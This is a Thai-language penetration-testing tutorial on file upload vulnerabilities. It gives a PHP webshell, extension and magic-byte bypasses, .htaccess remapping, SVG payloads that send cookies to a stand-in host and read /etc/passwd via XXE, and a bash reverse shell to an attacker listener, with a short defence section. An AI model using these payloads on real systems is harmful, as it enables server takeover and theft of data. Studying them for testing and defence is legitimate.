File Upload Vulnerabilities
ช่องโหว่ file upload เกิดเมื่อแอปยอมให้อัปโหลดไฟล์โดยตรวจสอบไม่รัดกุม ทำให้อัปโหลด webshell หรือไฟล์อันตรายแล้วรันได้ (RCE) หรือใช้ SVG/HTML ทำ XSS/XXE บทนี้ครอบคลุมการ bypass การตรวจ extension/MIME/magic byte, polyglot, .htaccess trick, การหาตำแหน่งไฟล์, และการยกระดับตาม stack
1. หลักการและชั้นการตรวจสอบ
เป้าหมายหลักคือ อัปโหลดไฟล์ที่เซิร์ฟเวอร์จะรันเป็นโค้ด (เช่น .php บน Apache+PHP) แล้วเข้าถึง URL ของไฟล์นั้นเพื่อรัน การป้องกันมักตรวจหลายชั้น: (1) นามสกุล/extension, (2) Content-Type header, (3) magic byte/content ของไฟล์, (4) ขนาด/มิติภาพ, (5) re-encode รูป — ต้อง bypass ให้ครบทุกชั้นที่แอปตรวจ และไฟล์ต้องไปอยู่ในตำแหน่งที่ execute ได้
2. Extension bypass
| การตรวจ | ทาง bypass |
|---|---|
| blacklist .php | .phtml .php3 .php4 .php5 .php7 .phar .pht .phps .pgif (ยังรันเป็น PHP ตาม config) |
| เช็คนามสกุลท้ายสุด | shell.php.jpg หรือ shell.jpg.php (แล้วแต่ลำดับ/regex) |
| case-sensitive blacklist | shell.PhP / shell.pHtml (server อาจ case-insensitive) |
| strip 'php' หนึ่งครั้ง | shell.p.phphp → เหลือ shell.php |
| trailing char ถูกตัด | shell.php%00.jpg / shell.php%20 / shell.php. / shell.php::$DATA |
| double extension ถูกกรอง | shell.php%00.png (null byte, PHP เก่า) |
| allow .htaccess/web.config | อัปโหลด config เพื่อ map นามสกุลใหม่เป็นโค้ด |
shell.phtml shell.phar shell.pht
shell.php3 shell.php4 shell.php5
shell.php7 shell.pgif shell.phP
shell.php.jpg shell.jpg.php shell.php%00.jpg
shell.php%20 shell.php. shell.php::$DATA (Windows)
shell.php;.jpg shell.php#.jpg shell.p.phphp3. Content-Type และ magic byte bypass
Content-Type: เป็น header ที่ client ส่ง แก้ใน Burp ได้ตรงๆ — ตั้งเป็น image/png ขณะ body เป็นโค้ด PHP; magic byte: ถ้า server เช็ค signature ต้นไฟล์ ให้เติม magic byte ของรูปข้างหน้าโค้ด (PHP ยังรันส่วน <?php> ที่ตามมา)
POST /upload HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----x
------x
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/png <-- ปลอมเป็นรูป
<?php system($_GET['c']); ?>
------x--GIF89a;
<?php system($_GET['c']); ?>
// GIF89a; ทำให้ผ่านการเช็คว่าเป็นรูป (magic byte + getimagesize บางกรณี)
// แต่ PHP interpreter ยังเจอ <?php แล้วรัน
// magic byte อื่น: PNG = \x89PNG\r\n, JPG = \xFF\xD8\xFF, PDF = %PDF-# ฝังโค้ดใน EXIF comment ของ JPG จริง → ผ่าน getimagesize()
exiftool -Comment='<?php system($_GET["c"]); ?>' real.jpg
mv real.jpg shell.php.jpg # หรือ .phtml ตาม bypass ที่ใช้
# ถ้า server re-encode รูป โค้ดใน EXIF อาจหาย → ต้องใช้ช่องอื่น
# polyglot PNG ที่โค้ดรอดจาก re-encode (IDAT chunk) ใช้เครื่องมือเฉพาะ4. .htaccess / web.config trick
ถ้าอัปโหลด .htaccess (Apache) หรือ web.config (IIS) ได้ ใน directory เดียวกับไฟล์อื่น เราสั่งให้ server ตีความนามสกุล 'ปลอดภัย' เป็นโค้ดได้ — bypass ทุก extension check เพราะไฟล์ shell มีนามสกุลเป็น .jpg แต่ถูก map เป็น PHP
# 1) อัปโหลดไฟล์ชื่อ .htaccess ที่มีเนื้อหา:
AddType application/x-httpd-php .jpg
# หรือแบบ handler:
AddHandler php-script .jpg
# บางเวอร์ชัน:
<FilesMatch "\.jpg$">
SetHandler application/x-httpd-php
</FilesMatch>
# 2) อัปโหลด shell.jpg ที่มี <?php system($_GET['c']); ?>
# 3) เข้า /uploads/shell.jpg?c=id → รันเป็น PHP5. SVG/XSS, XXE, และช่องอื่นที่ไม่ต้อง RCE
แม้รันโค้ดฝั่ง server ไม่ได้ ไฟล์บางชนิดโจมตีด้วย content ได้เลย — SVG เป็น XML รัน JS ได้ (stored XSS) และ parse external entity ได้ (XXE)
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">
<script>fetch('//evil/?c='+document.cookie)</script>
</svg>
<!-- อัปเป็น avatar.svg; เมื่อเหยื่อเปิดไฟล์ SVG โดยตรง JS ทำงานใน origin --><?xml version="1.0"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg xmlns="http://www.w3.org/2000/svg">
<text x="10" y="20">&xxe;</text>
</svg>
<!-- ถ้า server render SVG (เช่นแปลงเป็น PNG ด้วย librsvg/ImageMagick)
entity จะถูก resolve → เนื้อหาไฟล์โผล่ในผลลัพธ์ -->- HTML/SVG upload → stored XSS เมื่อเปิดไฟล์ตรงใน origin เดียวกัน
- XXE ผ่าน SVG/XML/DOCX/XLSX ที่ server parse
- ImageMagick / ghostscript exploit ผ่านไฟล์ภาพประดิษฐ์ → RCE
- Zip slip — archive ที่มี ../ ใน entry name → เขียนไฟล์นอกโฟลเดอร์ที่ extract
- Path traversal ที่ filename → เขียนทับไฟล์ระบบ (ดูหัวข้อ Path Traversal)
- DoS — decompression bomb (zip/pixel flood), pixel flood image
6. หาตำแหน่งไฟล์ + ยกระดับ
- 1ดู response หลังอัปโหลด — มักบอก path หรือชื่อไฟล์ใหม่ (บางระบบ hash/rename)
- 2เดาโฟลเดอร์ upload ทั่วไป: /uploads/ /files/ /images/ /media/ /avatars/ /tmp/
- 3fuzzing ด้วย ffuf ถ้าไม่รู้ path หรือชื่อไฟล์ถูกสุ่ม
- 4เข้า URL ของ webshell: /uploads/shell.phtml?c=id
- 5ยืนยัน RCE แล้วต่อ reverse shell (bash -c / nc / php -r)
# fuzz หาโฟลเดอร์ upload
ffuf -w wordlist.txt -u https://target/FUZZ/shell.phtml
# ยืนยัน RCE
curl 'https://target/uploads/shell.phtml?c=id'
# reverse shell (จาก webshell)
curl 'https://target/uploads/shell.phtml' --data-urlencode \
'c=bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'7. Decision flow
8. ข้อผิดพลาด & troubleshooting
- แก้ Content-Type ผิดที่: ต้องแก้ที่ part ของไฟล์ใน multipart ไม่ใช่ header ของ request
- server re-encode รูป: EXIF/metadata payload หาย → ต้อง polyglot ที่รอด re-compress หรือช่องอื่น
- อัปได้แต่เข้าไม่ถึง: ไฟล์อยู่นอก webroot หรือถูก rename — ต้องหา path/ใช้ LFI
- .htaccess ไม่ทำงาน: AllowOverride ปิด หรือ nginx (ไม่ใช้ .htaccess) → ใช้ trick อื่น
- null byte ไม่ผ่าน: %00 ใช้ได้กับ PHP เก่า (<5.3.4) เท่านั้น — modern ปิดแล้ว
- ลืมลองหลาย extension: .php ถูก block ไม่ได้แปลว่า .phtml/.phar ถูก block
- double URL-encode filename: บาง WAF decode รอบเดียว — ลอง encode ซ้อน
9. การป้องกัน
- Allowlist extension (ไม่ใช่ blacklist) และ validate ที่ server ไม่ใช่ client
- ตรวจ magic byte/content จริง + re-encode รูปเพื่อ strip payload
- เก็บไฟล์นอก webroot หรือ storage แยก (S3) ที่ไม่ execute โค้ด
- สุ่มชื่อไฟล์ (ไม่ใช้ชื่อ/นามสกุลจาก client) และตั้ง Content-Type ตายตัวตอนเสิร์ฟ
- เสิร์ฟไฟล์ด้วย
Content-Disposition: attachment+X-Content-Type-Options: nosniff(กัน SVG XSS) - ปิดการรัน script ใน upload dir (Apache: php_admin_flag engine off; หรือไม่ให้ .htaccess override)
- จำกัดขนาด, ตรวจ zip slip (ปฏิเสธ ../ ใน entry), ปิด XXE ใน XML/SVG parser
10. Quick Reference
- เป้าหมาย: อัปไฟล์ที่ server รันเป็นโค้ด แล้วเรียก URL มัน
- ext bypass: .phtml .phar .pht / double ext / case / %00 (เก่า)
- content-type: แก้เป็น image/png ที่ part ของไฟล์ใน Burp
- magic byte: นำหน้าด้วย GIF89a; หรือ EXIF payload (exiftool)
- .htaccess: AddType application/x-httpd-php .jpg → map ใหม่
- ไม่ได้ RCE → SVG (XSS/XXE), ImageMagick, zip slip, LFI2RCE
- หา path ไฟล์ (response/เดา/ffuf) แล้วเรียก ?c=id
- ป้องกัน: allowlist, ตรวจ magic byte, เก็บนอก webroot, สุ่มชื่อ, nosniff
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติเจอฟีเจอร์ upload ไฟล์ (avatar/attachment) มีแค่ Kali เปล่าๆ ทำตามนี้ทีละขั้นเพื่อดูว่าอัป webshell ได้ไหม
- 1เปิด Burp Suite ตั้ง proxy แล้วลองอัป shell.php ตรงๆ ก่อน ดู error ที่ตอบกลับ (Burp เก็บ request ไว้ใช้ Repeater ต่อ)
- 2ถ้าถูกบล็อกเพราะนามสกุล ลองเปลี่ยนเป็น .phtml/.phar/.pht ทีละอันใน Repeater
- 3ถ้ายังกัน ลองแก้ Content-Type ของ part ไฟล์ใน multipart body เป็น image/png
- 4ลองเติม magic byte
GIF89a;นำหน้าโค้ด PHP หรือฝังโค้ดใน EXIF ด้วยexiftool -Comment='<?php system($_GET["c"]); ?>' real.jpg - 5ถ้าอัปผ่านแล้ว หา path ไฟล์จาก response หรือเดาโฟลเดอร์ทั่วไป (/uploads/) หรือ fuzz ด้วย ffuf
- 6เรียก URL ไฟล์ที่อัป พร้อม
?c=idดูว่ารันโค้ดได้ไหม - 7ถ้ารันไม่ได้เลย ลองอัป .htaccess เพื่อ map นามสกุลใหม่เป็น PHP (ถ้าเป็น Apache)
- 8ถ้ายังรันไม่ได้ ลองอัป SVG ที่มี
onload=alert(document.domain)ดู stored XSS หรือ XXE แทน - 9เมื่อยืนยัน RCE แล้ว เปิด nc -lvnp 4444 ฟังไว้ที่ Kali แล้วสั่ง reverse shell ผ่าน webshell
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| ดักจับ/แก้ multipart request | Burp Suite Community | - | - |
| fuzz หา path/โฟลเดอร์ upload | ffuf | - | - |
| ฝัง payload ใน metadata รูป | exiftool | - | - |
| สร้าง reverse shell payload | msfvenom | - | revshells.com |
| ฟังกลับ reverse shell | nc (netcat) | - | - |
| สร้าง php filter chain (ถ้าต้อง LFI2RCE) | - | git clone https://github.com/synacktiv/php_filter_chain_generator | - |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้